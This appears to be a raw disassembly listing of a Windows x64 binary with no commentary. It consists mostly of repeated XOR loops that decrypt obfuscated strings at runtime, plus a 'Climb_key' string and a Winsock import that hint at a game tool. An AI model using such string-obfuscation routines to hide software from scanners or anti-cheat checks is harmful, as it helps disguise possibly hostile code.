mov edx, dword [rbp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400c61f1
cmp r8d, 0x16
jge 0x1400c6330
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x1400c6300
lea rdx, [0x140196fe5]
mov rcx, r10
call fcn.140051f50
lea rdx, [rbp + 0x705]
lea rcx, [rbp - 0x63]
call fcn.1400ce3e0
movzx ecx, byte [rax + 9]
test cl, cl
je 0x1400c6380
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor byte [rax + 8], 0x3c
xor cl, 0x3d
mov byte [rax + 9], cl
lea rdx, [0x140196fc4]
mov rcx, rax
call fcn.140051f50
lea rdx, [rbp + 0x7a6]
lea rcx, [rbp - 0x62]
call fcn.1400ce400
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x1400c63d4
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor byte [rax + 8], 0x3c
xor byte [rax + 9], 0x3d
xor cl, 0x3e
mov byte [rax + 0xa], cl
lea rdx, [0x140196fd2]
mov rcx, rax
call fcn.140051f50
lea rdx, [rbp + 0x70f]
lea rcx, [rbp - 0x61]
call fcn.1400ce430
movzx ecx, byte [rax + 9]
test cl, cl
je 0x1400c6424
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor byte [rax + 8], 0x3c
xor cl, 0x3d
mov byte [rax + 9], cl
lea rdx, [0x140196feb]
mov rcx, rax
call fcn.140051f50
lea rdx, [rbp + 0x6af]
lea rcx, [rbp - 0x60]
call fcn.1400ce450
movzx ecx, byte [rax + 8]
test cl, cl
je 0x1400c6470
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor cl, 0x3c
mov byte [rax + 8], cl
lea rdx, [0x140196dcb]
mov rcx, rax
call fcn.140051f50
lea rdx, [rbp + 0xb4d]
lea rcx, [rbp - 0x5f]
call fcn.1400ce470
mov r10, rax
cmp byte [rax + 0xe], r15b
je 0x1400c65f0
mov r8d, r15d
cmp r12d, 2
jl 0x1400c65b4
movdqa xmm4, xmmword [0x14016c610]
movd xmm5, esi
mov eax, Ordinal_35
movd xmm6, eax
movdqa xmm2, xmmword [0x14016c130]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
mov eax, dword [0x14016c1e0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movd dword [r10], xmm2
movdqa xmm3, xmmword [0x14016c150]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r8d, 8
mov r9d, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x1400c65c0
lea rdx, [0x140196fcd]
mov rcx, r10
call fcn.140051f50
lea rdx, [rbp + 0x940]
lea rcx, [rbp - 0x5e]
call fcn.1400ce4a0
mov r10, rax
cmp byte [rax + 0xb], r15b
je 0x1400c6770
mov r8d, r15d
cmp r12d, 2
jl 0x1400c6734
movdqa xmm4, xmmword [0x14016c610]
movd xmm5, esi
mov eax, Ordinal_35
movd xmm6, eax
movdqa xmm2, xmmword [0x14016c130]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
mov eax, dword [0x14016c1e0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movd dword [r10], xmm2
movdqa xmm3, xmmword [0x14016c150]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r8d, 8
mov r9d, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1400c6740
lea rdx, [0x140196fc0]
mov rcx, r10
call fcn.140051f50
lea rdx, [rbp + 0x94c]
lea rcx, [rbp - 0x5d]
call fcn.1400ce4c0
mov r10, rax
cmp byte [rax + 0xb], r15b
je 0x1400c68f0
mov r8d, r15d
cmp r12d, 2
jl 0x1400c68b4
movdqa xmm4, xmmword [0x14016c610]
movd xmm5, esi
mov eax, Ordinal_35
movd xmm6, eax
movdqa xmm2, xmmword [0x14016c130]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
mov eax, dword [0x14016c1e0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movd dword [r10], xmm2
movdqa xmm3, xmmword [0x14016c150]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r8d, 8
mov r9d, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1400c68c0
lea rdx, [0x140196fd0]
mov rcx, r10
call fcn.140051f50
lea rdx, [rbp + 0xa92]
lea rcx, [rbp - 0x5c]
call fcn.1400ce4e0
mov r10, rax
cmp byte [rax + 0xd], r15b
je 0x1400c6a70
mov r8d, r15d
cmp r12d, 2
jl 0x1400c6a34
movdqa xmm4, xmmword [0x14016c610]
movd xmm5, esi
mov eax, Ordinal_35
movd xmm6, eax
movdqa xmm2, xmmword [0x14016c130]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
mov eax, dword [0x14016c1e0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movd dword [r10], xmm2
movdqa xmm3, xmmword [0x14016c150]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r8d, 8
mov r9d, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1400c6a40
lea rdx, [0x140196fb1]
mov rcx, r10
call fcn.140051f50
lea rdx, [rbp + 0x958]
lea rcx, [rbp - 0x5b]
call fcn.1400ce510
mov r10, rax
cmp byte [rax + 0xb], r15b
je 0x1400c6bf0
mov r8d, r15d
cmp r12d, 2
jl 0x1400c6bb4
movdqa xmm4, xmmword [0x14016c610]
movd xmm5, esi
mov eax, Ordinal_35
movd xmm6, eax
movdqa xmm2, xmmword [0x14016c130]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
mov eax, dword [0x14016c1e0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movd dword [r10], xmm2
movdqa xmm3, xmmword [0x14016c150]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r8d, 8
mov r9d, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1400c6bc0
lea rdx, [0x140196fd6]
mov rcx, r10
call fcn.140051f50
lea rdx, [rbp]
lea rcx, [rbp - 0x5a]
call fcn.1400ce530
mov r10, rax
cmp byte [rax + 0x10], r15b
je 0x1400c6da0
mov r8d, r15d
cmp r12d, 2
jl 0x1400c6d67
movdqa xmm5, xmmword [0x14016c130]
movdqa xmm4, xmmword [0x14016c610]
movd xmm6, esi
movdqa xmm7, xmmword [0x14016c160]
mov eax, Ordinal_35
movd xmm8, eax
movdqa xmm0, xmmword [0x14016c1e0]
movdqa xmmword [rbp + 0x30], xmm0
mov rcx, r10
mov edx, dword [rbp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400c6c60
cmp r8d, 0x11
jge 0x1400c6da0
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x1400c6d70
lea rdx, [0x140196fae]
mov rcx, r10
call fcn.140051f50
lea rdx, [rbp + 0xb5c]
lea rcx, [rbp - 0x59]
call fcn.1400ce550
mov r10, rax
cmp byte [rax + 0xe], r15b
je 0x1400c6f20
mov r8d, r15d
cmp r12d, 2
jl 0x1400c6ee4
movdqa xmm4, xmmword [0x14016c610]
movd xmm5, esi
mov eax, Ordinal_35
movd xmm6, eax
movdqa xmm2, xmmword [0x14016c130]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
mov eax, dword [0x14016c1e0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movd dword [r10], xmm2
movdqa xmm3, xmmword [0x14016c150]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r8d, 8
mov r9d, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x1400c6ef0
lea rdx, [0x140196fea]
mov rcx, r10
call fcn.140051f50
lea rdx, [rbp + 0xb6b]
lea rcx, [rbp - 0x58]
call fcn.1400ce580
mov r10, rax
cmp byte [rax + 0xe], r15b
je 0x1400c70a0
mov r8d, r15d
cmp r12d, 2
jl 0x1400c7064
movdqa xmm4, xmmword [0x14016c610]
movd xmm5, esi
mov eax, Ordinal_35
movd xmm6, eax
movdqa xmm2, xmmword [0x14016c130]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
mov eax, dword [0x14016c1e0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movd dword [r10], xmm2
movdqa xmm3, xmmword [0x14016c150]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r8d, 8
mov r9d, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x1400c7070
lea rdx, [0x140196fb9]
mov rcx, r10
call fcn.140051f50
mov eax, dword [reloc.WS2_32.dll_accept]
cmp eax, 5
jne 0x1400c7895
lea rdx, [rbp + 0x719]
lea rcx, [rbp - 0x57]
call fcn.1400ce5b0
movzx ecx, byte [rax + 9]
test cl, cl
je 0x1400c70ff
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor byte [rax + 8], 0x3c
xor cl, 0x3d
mov byte [rax + 9], cl
lea rdx, [0x140196fe2]
mov rcx, rax
call fcn.140051f50
lea rdx, [rbp + 0x723]
lea rcx, [rbp - 0x56]
call fcn.1400ce5d0
movzx ecx, byte [rax + 9]
test cl, cl
je 0x1400c714f
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor byte [rax + 8], 0x3c
xor cl, 0x3d
mov byte [rax + 9], cl
lea rdx, [0x140196fe7]
mov rcx, rax
call fcn.140051f50
lea rdx, [rbp + 0x114]
lea rcx, [rbp - 0x55]
call fcn.1400ce5f0
movzx ecx, byte [rax + 5]
test cl, cl
je 0x1400c718f
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor cl, 0x39
mov byte [rax + 5], cl
lea rdx, [0x140196fcb]
mov rcx, rax
call fcn.140051f50
mov r8d, dword [0x140196f40]
lea rdx, [0x14007d560]
mov ecx, dword [0x1401811a0]
call fcn.14007d5c0
movss xmm1, dword [0x14016c02c]
movaps xmm0, xmm10
call fcn.14002e9c0
lea rcx, str.Climb_key
call fcn.14004ff70
lea rdx, [rbp + 0x964]
lea rcx, [rbp - 0x54]
call fcn.1400ce610
mov r10, rax
cmp byte [rax + 0xb], r15b
je 0x1400c7340
mov r8d, r15d
cmp r12d, 2
jl 0x1400c7309
movdqa xmm4, xmmword [0x14016c610]
movd xmm5, esi
mov eax, Ordinal_35
movd xmm6, eax
movdqa xmm2, xmmword [0x14016c130]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
mov eax, dword [0x14016c1e0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movd dword [r10], xmm2
movdqa xmm3, xmmword [0x14016c150]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r8d, 8
mov r9d, r8d
add r9, r10
nop
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1400c7310
lea rdx, [0x140196fbd]
mov rcx, r10
call fcn.140051f50
lea rdx, [rbp]
lea rcx, [rbp - 0x53]
call fcn.1400ce630
mov r10, rax
cmp byte [rax + 0x10], r15b
je 0x1400c74f0
mov r8d, r15d
cmp r12d, 2
jl 0x1400c74b7
movdqa xmm5, xmmword [0x14016c130]
movdqa xmm4, xmmword [0x14016c610]
movd xmm6, esi
movdqa xmm7, xmmword [0x14016c160]
mov eax, Ordinal_35
movd xmm8, eax
movdqa xmm0, xmmword [0x14016c1e0]
movdqa xmmword [rbp + 0x30], xmm0
mov rcx, r10
mov edx, dword [rbp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
